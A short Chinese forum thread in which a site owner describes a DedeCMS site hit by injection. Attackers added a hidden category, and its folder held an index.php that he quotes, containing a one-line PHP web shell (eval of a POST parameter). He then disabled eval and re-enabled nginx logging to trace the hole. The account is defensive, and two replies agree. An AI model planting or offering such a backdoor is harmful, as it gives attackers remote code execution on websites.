nginx日志功能不能关

Router

我一直习惯关闭nginx的日志功能，现在发现日志功能还是必要的
昨天一个dedecms站被注入攻击了，多了一个栏目，名称是“一”
添加文章的时候看到怎么突然多了这么一个奇怪的栏目呀
可惜后台的栏目管理中还看不到这个栏目哦
只能打开mysql数据库中查看到

该栏目静态文件夹下面有一个index.php的文件，我打开一看，妈呀，部分内容如下：
<a href='/html/abc/__php_eval___POST_1_____/'><?php eval($_POST[1]);?></a>

吓得我赶紧关掉php的eval函数，重新打开nginx的日志功能，查看这个家伙今天有什么动作，我好找出是dedecms哪个文件有漏洞造成的

cquyf

是的啊

foxconndmd

网络很危险。。。